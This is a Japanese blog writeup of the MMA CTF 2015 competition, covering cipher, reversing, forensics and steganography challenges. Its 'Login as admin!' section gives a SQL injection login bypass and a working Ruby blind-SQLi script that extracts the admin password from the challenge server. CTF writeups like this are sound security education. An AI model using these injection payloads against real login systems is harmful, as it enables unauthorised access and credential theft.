MMA CTF 1st 2015 Writeup

http://uecmma.github.io/mmactf/ja/

チームnicklegrで個人参加。
420点で140位でした。(672チーム中)

簡単な問題しか解けてないですが、習慣づけるためにもWriteupを書いてみます。

# Welcome!!
日本語の読解力を問う問題。

# Pattern Lock (Flag 1)
9! = 362880なので総当たり可能。

```rb
require "pp"

# 0 1 2
# 3 4 5
# 6 7 8

# n -> mに行くならREQ_PASS[n][m]を通過済みであること
REQ_PASS = [
  #   0    1    2    3    4    5    6    7    8
  [ nil, nil,   1, nil, nil, nil,   3, nil,   4 ], # 0 -> m
  [ nil, nil, nil, nil, nil, nil, nil,   4, nil ], # 1 -> m
  [   1, nil, nil, nil, nil, nil,   4, nil,   5 ], # 2 -> m
  [ nil, nil, nil, nil, nil,   4, nil, nil, nil ], # 3 -> m
  [ nil, nil, nil, nil, nil, nil, nil, nil, nil ], # 4 -> m
  [ nil, nil, nil,   4, nil, nil, nil, nil, nil ], # 5 -> m
  [   3, nil,   4, nil, nil, nil, nil, nil,   7 ], # 6 -> m
  [ nil,   4, nil, nil, nil, nil, nil, nil, nil ], # 7 -> m
  [   4, nil,   5, nil, nil, nil,   7, nil, nil ], # 8 -> m
]

def bit_set?(mask, bit)
  (mask & (1 << bit)) != 0
end

def bit_set(mask, bit)
  mask | (1 << bit)
end

def bit_clear(mask, bit)
  mask & ~(1 << bit)
end

def solve_in(route, route_mask, max_len)
  return 1 if route.size == max_len
  cur = route.last

  patterns = 0
  for i in 0..8
    next if bit_set?(route_mask, i)

    if REQ_PASS[cur][i]
      next unless bit_set?(route_mask, REQ_PASS[cur][i])
    end

    route << i
    route_mask = bit_set(route_mask, i)

    patterns += solve_in(route, route_mask, max_len)

    route_mask = bit_clear(route_mask, i)
    route.pop
  end
  patterns
end

def solve
  patterns = 0
  for max_len in 4..9
    for start in 0..8
      route = [ start ]
      route_mask = bit_set(0, start)
      patterns += solve_in(route, route_mask, max_len)
    end
  end
  patterns
end

puts solve()
```

ちなみに、[ググれば出てくる](https://www.google.co.jp/search?q=android+%E3%83%91%E3%82%BF%E3%83%BC%E3%83%B3%E3%83%AD%E3%83%83%E3%82%AF+%E4%BD%95%E9%80%9A%E3%82%8A)らしいです…

# Smart Cipher System (Flag 1)
AAA とか BBB とか入力すると、ASCIIコードにいくつか足してるだけらしい。

```rb
arr = %w|36 36 2a 64 4b 4b 4a 21 1e 4b 1f 20 1f 21 4d 4b 1b 1d 19 4f 21 4c 1d 4a 4e 1c 4c 1b 22 4f 22 22 1b 21 4c 20 1d 4f 1f 4c 4a 19 22 1a 66|

puts arr.map{ |e|
  diff = 0x61 - 0x4a
  (e.to_i(16) + diff).chr
}.join
```

# Smart Cipher System (Flag 2)
適当に文字列を入れたり文字を入れ替えたりすると、平文と暗号文が1文字ずつ対応していることがわかる。(換字式暗号)
なので、すべての文字を変換させてテーブルを作り、逆変換する。

```rb
arr = %w|e3 e3 83 21 33 96 23 43 ef 9a 9a 05 18 c7 23 07 07 07 c7 9a 04 33 23 07 23 ef 12 c7 04 96 43 23 23 18 04 04 05 c7 fb 18 96 43 ef 43 ff|

plain = ""
enc = []
for i in 32..126
  plain += i.chr
  enc << i
end
puts plain

# plainをWebに投げてencを得る

enc = %w|b7 fd 93 26 36 3f f7 cc 34 a5 e5 f1 71 d8 31 15 04 c7 23 c3 18 96 05 9a 07 12 80 e2 eb 27 b2 75 09 83 2c 1a 1b 6e 5a a0 52 3b d6 b3 29 e3 2f 84 53 d1 00 ed 20 fc b1 5b 6a cb be 39 4a 4c 58 cf d0 ef aa fb 43 4d 33 85 45 f9 02 7f 50 3c 9f a8 51 a3 40 8f 92 9d 38 f5 bc b6 da 21 10 ff f3|

ans = ""
arr.each do |e|
  i = enc.index(e)
  ans += plain[i]
end

puts ans
```

# Login as admin!
user ``admin`` pass ``' OR 1=1--`` を入れるとログインできる。
求めるのはadminのパスワードなので、Blind SQLiする。

```rb
require 'net/http'
require 'uri'
require 'pp'
require 'pry'
# require 'pry-nav'

$http = Net::HTTP.new('arrive.chal.mmactf.link', 80)
$path = '/login.cgi'

def check(index, char)
  # http://www.atmarkit.co.jp/ait/articles/0608/26/news014_2.html
  vector = "' or substr((select password from user where user='admin'),#{index},1)='#{char}' --"

  # query = "username=admin&password=' or '1'='1' --"
  query = "username=admin&password=#{vector}"
  puts query

  response = $http.post($path, query)
  # puts response.body
  sleep 2

  raise "code = #{response.code}\n#{response.body}" if response.code != "200" && response.code != "302"
  response.code == "302"
end

result = ""

for i in 1..25
  found = false

  # chars = ('a'..'z').to_a + ('A'..'Z').to_a + (0..9).to_a + ["{", "}"]

  # chars = (32..126).map do |e| e.chr end
  # chars -= ["&"]

  chars = ('a'..'z').to_a + ["{", "}", "_"]
  # pp chars

  for c in chars
    if check(i, c)
      puts "index #{i} is #{c}"
      result += c
      found = true
      break
    end
  end

  if !found
    puts "finished"
    puts "flag: #{result}"
    break
  end
end
```

某所で全く同じ問題を解いたことがあるので流用。
httpのエラーチェックが甘くてフラグが化けたり、``_``を文字リストに入れ忘れたりして地味に手こずった。

# Splitted
Wiresharkで開くと、1個のファイルをPartial Contentで分割してダウンロードしている。
10個くらいだったので、手作業でバイナリエディタでくっつけた。

# How to use?
```
% file howtouse 
howtouse: PE32 executable for MS Windows (DLL) (GUI) Intel 80386 32-bit
```

目grepすると、``fnhowtouse@@YAHH@Z``。この関数を呼べばいいらしい。
``@@YAHH@Z``でググると、シグネチャは``int fnhowtouse(int num)``でよさそう。

```cpp
HMODULE hModule = ::LoadLibrary("howtouse.dll");
typedef int (*GetNumberFunc)(int);
GetNumberFunc fun = (GetNumberFunc)::GetProcAddress("fnhowtouse");
int number = fun();
```

NULLが返ってくる。うーん。

```
> dumpbin.exe /exports howtouse.dll
```

```
...
    ordinal hint RVA      name

          1    0 00001130 ?fnhowtouse@@YAHH@Z
```

そういえばordinalとかあったな。これで呼べないか。

```cpp
#include "stdafx.h"

int _tmain(int argc, _TCHAR* argv[])
{
	HMODULE hModule = ::LoadLibraryA("howtouse.dll");
	typedef int (*GetNumberFunc)(int);
	GetNumberFunc fun = (GetNumberFunc)::GetProcAddress(hModule, MAKEINTRESOURCEA(1)); // "fnhowtouse"

	for(int i=0;i<45;i++)
	{
		int number = fun(i);
		printf("%c", (char)number);
	}

	printf("\n");

	return 0;
}

```

できた。ちなみに45以上を渡すとメモリ破壊するらしい。

# This program cannot be run in DOS mode.

```
$ xxd -g 1 cannotberun
```

```
...
0000040: 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 49 73  ........!..L.!Is
0000050: 20 74 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61   this program ca
0000060: 6e 27 74 20 62 65 20 72 75 6e 20 6f 6e 20 44 4f  n't be run on DO
0000070: 53 3f 0d 0a 0d 0a 24 24 24 00 00 00 00 00 00 00  S?....$$$.......
...
```

わらた。PEヘッダをいじってあるらしい。
Stirlingのビットイメージで見ると、0000400から.textっぽい(x86の可変長命令な感じ)ので、そこを切り出してHopperに投げたらrawで逆アセンブルしてくれた。

```
             EntryPoint:
00000000         push       0x1
00000002         push       0x10
00000004         call       dword [ds:0x4020a4]
0000000a         push       eax
0000000b         push       0x4020f4
00000010         mov        byte [ds:eax], 0x37
00000013         mov        byte [ds:eax+0x1], 0x61
00000017         mov        byte [ds:eax+0x2], 0x33
0000001b         mov        byte [ds:eax+0x3], 0x35
0000001f         mov        byte [ds:eax+0x4], 0x68
00000023         mov        byte [ds:eax+0x5], 0x78
00000027         mov        byte [ds:eax+0x6], 0x62
0000002b         mov        byte [ds:eax+0x7], 0x39
0000002f         mov        byte [ds:eax+0x8], 0x71
00000033         mov        byte [ds:eax+0x9], 0x38
00000037         mov        byte [ds:eax+0xa], 0x31
0000003b         mov        byte [ds:eax+0xb], 0x66
0000003f         mov        byte [ds:eax+0xc], 0x73
00000043         mov        byte [ds:eax+0xd], 0x67
00000047         mov        byte [ds:eax+0xe], 0x36
0000004b         call       dword [ds:0x40209c]
00000051         add        esp, 0x10
00000054         or         eax, 0xffffffff
00000057         ret        
                        ; endp
```

なんて素直。

```rb
arr = [ 0x37, 0x61, 0x33, 0x35, 0x68, 0x78, 0x62, 0x39, 0x71, 0x38, 0x31, 0x66, 0x73, 0x67, 0x36, ]

arr.map! do |e|
  e.chr
end

puts arr.join()
```

# stream...
Wiresharkに投げ込む。``GET /``のストリームを見ると、

```
User-Agent: NSPlayer/9.0.0.4503
...
Content-Type: application/x-mms-framed
```

ググると、Windows Media Playerのストリーミング形式らしい。

- ``GET /``のレスポンスをファイルに保存
- httpヘッダをバイナリエディタで除去
- http://www.geocities.jp/the13lackart/megalodon.html#Inaba を使ってwmvに変換
- 再生するとフラグ

ストリームをそのまま流すhttpサーバを立てて、Windows Media Playerで接続してもいけると思う。

# Nagoya Castle
stegsolve.jarに読ませたら出てきた。
各ピクセルのLSBだけ取り出すと画像でフラグが入ってるみたい。

# リンク
## 他の方のWriteup
- [eshiho's Blog — MMACTF 1st 2015 Writeup](http://shiho-elliptic.tumblr.com/post/128549535889/mmactf-1st-2015-writeup)
- [3846masa | MMACTFに参戦したもののサッパリだった話 と 申し訳程度のWriteup](http://3846masa.blog.jp/archives/1039360666.html)
- [MMACTF Writeup](https://gist.github.com/ryota-be/cc916f5e8dbc3d04fa40)
- [CTF_WRITEUPS/2015/MMACTF at master · smokeleeteveryday/CTF_WRITEUPS](https://github.com/smokeleeteveryday/CTF_WRITEUPS/tree/master/2015/MMACTF)
- [MMACTFに参加しました « Gen's blog](http://www.gen-infosec.xyz/archives/73)
- [mma CTF 1st 2015 RPS write up](https://gist.github.com/zzoru/9b0bf4182fb2cdd2aa07)
- [alice.py](https://gist.github.com/aki33524/cea901ee269c65bf5e27)
- [MMACTF writeup｜CTF｜ぱろっくメモ](http://palloc.ria10.com/ctf/mmactf%20writeup)
- [MMA CTF 2015 - 兼雑記](http://shinh.hatenablog.com/entry/2015/09/07/230522)
- [MMA CTF 2015 – Motto Mijikai Address (Crypto/Web 100+300) | More Smoked Leet Chicken](http://mslc.ctf.su/wp/mma-ctf-2015-motto-mijikai-address-cryptoweb-100300/)
- [MMA CTF 1st 2015 writeup](https://gist.github.com/Bono-iPad/42434cdfff084c637d3b)
- [mma ctf writeup | Euphoria Reload3d](https://shankaraman.wordpress.com/tag/mma-ctf-writeup/)
- [MMA CTF 1st 2015 writeup - しゃろの日記](http://charo-it.hatenablog.jp/entry/2015/09/08/005012)
- [MMA CTF 1st 2015 Write-up - kusano_k’s blog](http://kusano-k.hatenablog.com/entry/2015/09/08/014315)
- [CTF Web Challenges | Blog - Init-labs](http://blog.init-labs.org/category-ctf-web/)
- [#mma | 0x90r00t](https://0x90r00t.com/tag/mma/)
- [MMA CTF 1st 2015に出た話 (@_193s) | 193s::Diary 2](http://193s.github.io/blog/2015/09/08/MMACTF2015-writeup/)
- [write-ups-2015/mma-ctf-2015 at master · ctfs/write-ups-2015](https://github.com/ctfs/write-ups-2015/tree/master/mma-ctf-2015)
- [[Python] MMA CTF 1st 2015 alicegame - Pastebin.com](http://pastebin.com/8Hm9yn62)
- [mage ctf writeup: MMA CTF 1st 2015](http://mage-ctf-writeup.blogspot.com/2015/09/mma-ctf-1st-2015.html)

## 運営サイド
- [Mortal Magi Agents](https://gist.github.com/ytoku/8147cf145bc0cdc116d9)
- [Smart Cipher System](https://gist.github.com/ytoku/05a79a6e902553b6a3a2)